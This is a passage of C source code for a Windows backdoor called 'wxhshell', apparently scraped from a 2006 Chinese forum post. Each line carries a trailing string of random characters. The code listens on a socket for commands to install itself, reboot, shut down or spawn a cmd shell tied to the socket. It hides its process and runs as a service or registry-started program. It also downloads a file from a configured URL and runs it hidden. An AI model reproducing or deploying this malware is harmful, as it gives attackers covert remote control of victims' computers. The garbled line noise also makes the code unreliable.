  case '?': { c6b0*!D"}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZM~`Gd9K0E  
    break; el'j&I  
  } 98*x 'Wp  
  // 安装 acOJ]]  
  case 'i': { Dw |3Z  
    if(Install()) \]Z&P,}w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7nz!0I^   
    else hXX1<~k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 64D%_8#m  
    break; 4&N$:j<  
    } >IR$e=5$  
  // 卸载 vSM_]fn  
  case 'r': { ygvzdYd  
    if(Uninstall()) e`sw*m5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }f}IA\8]  
    else .^XH uN&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _@E "7<\  
    break; p(7QAd4  
    } O}gX{_|6  
  // 显示 wxhshell 所在路径 8Z:Ezg3^  
  case 'p': { 3 Lje<KzL  
    char svExeFile[MAX_PATH]; ^'B-sz{{  
    strcpy(svExeFile,"\n\r"); r]t )x*  
      strcat(svExeFile,ExeFile); F^'v{@C  
        send(wsh,svExeFile,strlen(svExeFile),0); ?Bu}.0ku-$  
    break; tF`MT%{Va  
    } m.V,I}J.q  
  // 重启 <*Y O~S(R  
  case 'b': { w4{y "A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k,X74D+  
    if(Boot(REBOOT)) aqfL0Rg+`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ck$2Ue2`@w  
    else { Lht[g9  
    closesocket(wsh); S\|^ULrH  
    ExitThread(0);  E&%jeR  
    } b}%g}L D  
    break; 0 [i+  
    }  5T/J%  
  // 关机 y[:q"BB3  
  case 'd': { ny`(f,)u*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 99KVtgPm  
    if(Boot(SHUTDOWN)) [EGx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l<2oklo5  
    else { aFG3tuaKrQ  
    closesocket(wsh); & zgPN8u  
    ExitThread(0); q2!'==h2i  
    } dwp: iM  
    break; rB evVc![  
    } (b|#n|~?YL  
  // 获取shell qG^_c;l6a  
  case 's': { k6J\Kkk(  
    CmdShell(wsh); 1CiA 8  
    closesocket(wsh); S$K}v,8.sr  
    ExitThread(0); .b _?-Fv  
    break; 3G&0Ciet  
  } o PaZ  
  // 退出 wA r~<  
  case 'x': { ! o^Ic`FhS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cno;>[$  
    CloseIt(wsh); u 6(GM  
    break; .\)k+ R  
    } qsvpW%?aE  
  // 离开 OT+Ee  
  case 'q': { =43d%N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HZuiVW8  
    closesocket(wsh); M*H< n*  
    WSACleanup(); E&9!1!B  
    exit(1); leIy|K>\m  
    break; a hwy_\  
        } ^5>du~d  
  } " <*nZ~nE)  
  } 8;8YA1@w  
{,F/KL^u  
  // 提示信息 gr\@sx?b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <p)Z/  
} lO_c/o$  
  } :Q=z=`*2w  
/4H[4m]I  
  return;  6s5b$x  
} ,$BgR2^  
;24'f-Eri  
// shell模块句柄 T\cR2ZT~  
int CmdShell(SOCKET sock) j Ii[  
{ s@ z{dmL  
STARTUPINFO si; QxA0I+i  
ZeroMemory(&si,sizeof(si)); S"{GlRpd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KJ pj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y.9~Bo<<r  
PROCESS_INFORMATION ProcessInfo; !Z-9tYO  
char cmdline[]="cmd"; mb~./.5F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;'hi9L  
  return 0; Lb^(E-  
} jjX%$Hr  
>"bnpYSe  
// 自身启动模式 -+' #*V  
int StartFromService(void) } m6\C5  
{ K@*rVor{  
typedef struct +Tp%5+E  
{ a(5y>HF  
  DWORD ExitStatus; j,4,zA1j|  
  DWORD PebBaseAddress; `>\4"`I  
  DWORD AffinityMask; }<.7xz|V  
  DWORD BasePriority; lc" qqt  
  ULONG UniqueProcessId; [='p!7 z  
  ULONG InheritedFromUniqueProcessId; s1Okoxh/!V  
}   PROCESS_BASIC_INFORMATION; m'SmN{(t  
y3IA '  
PROCNTQSIP NtQueryInformationProcess; *i%.{ YH  
N tO?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )X~#n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?-d Ain1w  
Q QT G9s  
  HANDLE             hProcess; fPOEVmj<  
  PROCESS_BASIC_INFORMATION pbi; ||`qIElAW,  
u2\+?`Ox  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s><IykIi  
  if(NULL == hInst ) return 0; ?LR"hZ>  
o|0 '0P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vk WO}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]u;GNz}?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 90?,-6  
V8\$`NEP  
  if (!NtQueryInformationProcess) return 0; *$JB`=Q  
a6k(9ZF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %8a=mQl1^  
  if(!hProcess) return 0; j=FMYd8$y  
Mq76]I%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xkF$D:s P  
g%X&f_@  
  CloseHandle(hProcess); ~c!Rx'  
ot]>}[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x3gwG)Sf  
if(hProcess==NULL) return 0; Lr wINVa  
wInY7u Bd!  
HMODULE hMod; Is<x31R  
char procName[255]; >1m)%zt  
unsigned long cbNeeded; xnT3^ #-h  
lD9%xCo9(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &3WkH W   
B'<!k7Ewy  
  CloseHandle(hProcess); NP$e-" 1  
*&(2`#C;  
if(strstr(procName,"services")) return 1; // 以服务启动 `}[VwQ  
1 pa*T!  
  return 0; // 注册表启动 nG!&u1*  
} KlY,NSlQ  
%A8Pkr<&E  
// 主模块 -QN1oK@\mE  
int StartWxhshell(LPSTR lpCmdLine) BXNI(7xi  
{ qo)Q}0  
  SOCKET wsl; j p!  
BOOL val=TRUE; *1\z^4=a]  
  int port=0; } /[_  
  struct sockaddr_in door; z~BD(FDI  
k& WS$R?u  
  if(wscfg.ws_autoins) Install(); GSC{F#:z  
Fq vQk  
port=atoi(lpCmdLine); t8t}7XD   
~5FS|[1L  
if(port<=0) port=wscfg.ws_port; 1NuR/DO  
uE"5cq'B/  
  WSADATA data; ;R/k2^uF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W+8BQ- 2  
u)tHOV>&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N[0 xqQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a3Z :C!|O'  
  door.sin_family = AF_INET; mYiSR   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UaH26fWs  
  door.sin_port = htons(port); |sA4:Aq  
UCe,2v%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c"sj)-_  
closesocket(wsl); P#w}3^  
return 1; ub[""M?  
} <\E"clZI  
+8Of-ZUx  
  if(listen(wsl,2) == INVALID_SOCKET) { m5X3{[a :  
closesocket(wsl); u+I3IdU3  
return 1; wy,Jw3  
} wCV>F-  
  Wxhshell(wsl); 5dg-d\ 6S  
  WSACleanup(); UN-T ^  
\R6;Fef  
return 0; E}]I%fi  
oP+kAV#]  
} TTeAa  
n33JTqX  
// 以NT服务方式启动 1y},9ym  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ->#y(}  
{ 7k'=Fm6za  
DWORD   status = 0; >Y,/dyT Zm  
  DWORD   specificError = 0xfffffff; t)\D  
K?5B>dv@A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8]sTX9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ` %FIgE^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }V\P,ck  
  serviceStatus.dwWin32ExitCode     = 0; di8W2cwz  
  serviceStatus.dwServiceSpecificExitCode = 0; ]cx"  
  serviceStatus.dwCheckPoint       = 0; /d{glOk  
  serviceStatus.dwWaitHint       = 0; QN)/,=#  
8W19#?7>B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T [i7C3QS  
  if (hServiceStatusHandle==0) return; q,<n,0)K  
kb/|;!  
status = GetLastError(); pi^^L@@ d  
  if (status!=NO_ERROR) [ED!J~lg8  
{ WpXODkQL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 66I|0_  
    serviceStatus.dwCheckPoint       = 0; >&$$(Bp  
    serviceStatus.dwWaitHint       = 0; P3+)pOE-SI  
    serviceStatus.dwWin32ExitCode     = status; *Gg1h@&  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4y|xUO:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cxtLy&C  
    return; h g%@W  
  } T)b3N| ONB  
iifc;62  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a"`g"ZRx  
  serviceStatus.dwCheckPoint       = 0; Z_iAn TT  
  serviceStatus.dwWaitHint       = 0; Iq4Kgc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4 ?9soc  
} S% JNxT7'  
&,W_#l{  
// 处理NT服务事件,比如:启动、停止 D}zOuB,S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r!{w93rPX  
{ SRA|7g}7W  
switch(fdwControl) 1Pud,!\%q  
{ qWRNHUd  
case SERVICE_CONTROL_STOP: %00k1 *$  
  serviceStatus.dwWin32ExitCode = 0; Jo6~r-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]I{qp~^#n  
  serviceStatus.dwCheckPoint   = 0; 844tXMtPB\  
  serviceStatus.dwWaitHint     = 0; vDu0  
  { tb-OKZq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uB5h9&57  
  } p{mxk)A  
  return; '#cT4_D^lI  
case SERVICE_CONTROL_PAUSE: uznoyj6g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K$MJ#Zx^  
  break; ;whFaQi 4  
case SERVICE_CONTROL_CONTINUE: #JJp:S~`   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c[wQJc  
  break; OoAr%  
case SERVICE_CONTROL_INTERROGATE: JVJ1Ay/be  
  break; j33P~H~  
}; *=-__|t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ee t+  
} MZUF! B  
pm'@2dT  
// 标准应用程序主函数 QOkE\ro  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l|@/?GaH  
{ GibggOj2Q,  
^}i5 0SG:y  
// 获取操作系统版本 xZ9}8*Q&:  
OsIsNt=GetOsVer(); ,z?<7F1q=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2a._?(k_y  
jMz1s%C  
  // 从命令行安装 \3n{w   
  if(strpbrk(lpCmdLine,"iI")) Install(); % +kT  
37:b D  
  // 下载执行文件 .LXh]I *  
if(wscfg.ws_downexe) { %{N$1ht^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nLFx/5sL  
  WinExec(wscfg.ws_filenam,SW_HIDE); A@@)lD.  
} <F#*:Re_y  
.oi}SG  
if(!OsIsNt) { "oE^R?m  
// 如果时win9x,隐藏进程并且设置为注册表启动 D,}'E0  
HideProc(); $nGbT4sc  
StartWxhshell(lpCmdLine); , 6EZb[;g^  
} ^*cMry  
else 3<zTkI  
  if(StartFromService()) ? z)y%`}  
  // 以服务方式启动 H y.3ccZ0  
  StartServiceCtrlDispatcher(DispatchTable); y(c|5CQ  
else 5UrXVdP  
  // 普通方式启动 t_dw}I   
  StartWxhshell(lpCmdLine); ?l\gh1{C  
%# Wg^l '  
return 0; .T#y N\S1  
}
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只看该作者 1 发表于: 2006-10-10
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